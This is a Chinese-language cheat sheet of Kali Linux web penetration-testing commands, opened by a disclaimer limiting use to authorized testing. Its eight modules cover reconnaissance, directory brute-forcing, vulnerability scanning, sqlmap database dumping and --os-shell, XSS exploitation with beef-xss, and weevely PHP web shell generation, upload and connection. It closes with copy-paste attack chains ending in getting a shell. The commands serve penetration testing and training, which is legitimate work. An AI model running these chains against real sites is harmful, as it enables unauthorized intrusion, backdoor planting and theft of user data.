Kali与编程: Web渗透测试核心工具命令速查手册
本文摘要:该手册系统介绍了Web安全渗透测试的8个核心模块,包括信息侦察(nmap/dig/sublist3r)、目录扫描(dirb/gobuster)、漏洞探测(nikto/skipfish)、SQL注入(sqlmap)、XSS检测(xsser/beef-xss)、文件上传利用(weevely)、代理抓包(BurpSuite)以及实战命令组合。所有工具使用均附具体命令示例,并特别声明仅限授权测试

【目录】
1. 合规使用声明
2. 目录
3. 模块1:Web信息侦察(域名/子域名/端口)
4. 模块2:Web目录扫描与爬虫
5. 模块3:漏洞扫描与探测
6. 模块4:SQL注入实战工具
7. 模块5:XSS漏洞检测工具
8. 模块6:文件上传与漏洞利用
9. 模块7:Web代理与抓包改包
10. 模块8:实战组合命令(可直接复制)
---
1. 合规使用声明
本手册仅用于授权的渗透测试、安全研究与教学学习。
严禁未经授权对任何网络、服务器、网站实施攻击、探测、入侵、数据窃取等行为。
违反国家网络安全相关法律法规,需自行承担全部法律责任。
---
3. 模块1:Web信息侦察(域名/子域名/端口)
3.1 nmap
- 命令:nmap -p- -sV --script=http-title target.com
- 作用:全端口扫描+服务识别+获取网页标题
- 示例:nmap -p- -sV --script=http-title www.test.com
3.2 dig
- 命令:dig target.com A
- 作用:查询域名A记录(IP)
- 示例:dig www.test.com A
3.3 whois
- 命令:whois target.com
- 作用:查询域名注册信息
- 示例:whois test.com
3.4 sublist3r
- 命令:sublist3r -d target.com
- 作用:批量爬取子域名
- 示例:sublist3r -d test.com
---
4. 模块2:Web目录扫描与爬虫
4.1 dirb
- 命令:dirb http://target.com /usr/share/wordlists/dirb/common.txt
- 作用:Web目录/后台扫描
- 示例:dirb http://www.test.com /usr/share/wordlists/dirb/common.txt
4.2 dirbuster(CLI)
- 命令:dirbuster -u http://target.com -l /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
- 作用:图形/命令行目录爆破
- 示例:dirbuster -u http://www.test.com -l /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
4.3 gobuster
- 命令:gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
- 作用:高速目录/文件扫描
- 示例:gobuster dir -u http://www.test.com -w /usr/share/wordlists/dirb/common.txt
4.4 wget
- 命令:wget --spider -r http://target.com
- 作用:轻量爬虫探测链接
- 示例:wget --spider -r http://www.test.com
---
5. 模块3:漏洞扫描与探测
5.1 nikto
- 命令:nikto -h http://target.com
- 作用:Web通用漏洞扫描(配置漏洞/敏感文件)
- 示例:nikto -h http://www.test.com
5.2 wapiti
- 命令:wapiti -u http://target.com
- 作用:自动化Web漏洞扫描
- 示例:wapiti -u http://www.test.com
5.3 skipfish
- 命令:skipfish -o result http://target.com
- 作用:高速Web漏洞探测+生成报告
- 示例:skipfish -o test_report http://www.test.com
---
6. 模块4:SQL注入实战工具
6.1 sqlmap
- 命令:sqlmap -u "http://target.com?id=1" --dbs
- 作用:检测注入+枚举数据库
- 示例:sqlmap -u "http://www.test.com?id=1" --dbs
6.2 sqlmap 爆表
- 命令:sqlmap -u "http://target.com?id=1" -D dbname --tables
- 作用:指定库枚举表
- 示例:sqlmap -u "http://www.test.com?id=1" -D testdb --tables
6.3 sqlmap 脱数据
- 命令:sqlmap -u "http://target.com?id=1" -D dbname -T tablename --dump
- 作用:导出表数据
- 示例:sqlmap -u "http://www.test.com?id=1" -D testdb -T user --dump
6.4 sqlmap 执行系统命令
- 命令:sqlmap -u "http://target.com?id=1" --os-shell
- 作用:获取系统shell(高权限)
- 示例:sqlmap -u "http://www.test.com?id=1" --os-shell
---
7. 模块5:XSS漏洞检测工具
7.1 xsser
- 命令:xsser --url "http://target.com?id=1"
- 作用:自动化XSS漏洞探测
- 示例:xsser --url "http://www.test.com?id=1"
7.2 beef-xss
- 命令:beef-xss
- 作用:XSS漏洞利用与控制浏览器
- 示例:启动后访问 http://127.0.0.1:3000/ui/panel
7.3 xsstrike
- 命令:xsstrike -u "http://target.com?id=1"
- 作用:精准XSS检测与Payload生成
- 示例:xsstrike -u "http://www.test.com?id=1"
---
8. 模块6:文件上传与漏洞利用
8.1 weevely
- 命令:weevely generate pass shell.php
- 作用:生成PHP一句话木马
- 示例:weevely generate 123456 shell.php
8.2 weevely 连接
- 命令:weevely http://target.com/shell.php pass
- 作用:连接后门获取Webshell
- 示例:weevely http://www.test.com/shell.php 123456
8.3 curl 上传测试
- 命令:curl -F "file=@shell.php" http://target.com/upload.php
- 作用:测试文件上传点
- 示例:curl -F "file=@test.php" http://www.test.com/upload.php
---
9. 模块7:Web代理与抓包改包
9.1 burpsuite(启动)
- 命令:burpsuite
- 作用:Web代理抓包/改包/重放
- 示例:直接执行 burpsuite 启动GUI
9.2 mitmproxy
- 命令:mitmproxy -p 8080
- 作用:命令行HTTP代理抓包
- 示例:mitmproxy -p 8080
9.3 tcpdump 抓Web流量
- 命令:tcpdump -i eth0 host target.com and port 80
- 作用:抓取目标Web服务器流量
- 示例:tcpdump -i eth0 host www.test.com and port 80
---
10. 模块8:实战组合命令(可直接复制)
组合1:信息侦察→目录扫描→漏洞扫描
nmap -p80,443 -sV www.test.com
dirb http://www.test.com
nikto -h http://www.test.com
组合2:SQL注入全流程
sqlmap -u "http://www.test.com?id=1" --dbs
sqlmap -u "http://www.test.com?id=1" -D testdb --tables
sqlmap -u "http://www.test.com?id=1" -D testdb -T user --dump
组合3:XSS检测+利用
xsstrike -u "http://www.test.com?id=1"
beef-xss
组合4:文件上传→GetShell
weevely generate 123456 shell.php
curl -F "file=@shell.php" http://www.test.com/upload.php
weevely http://www.test.com/shell.php 123456
更多推荐
所有评论(0)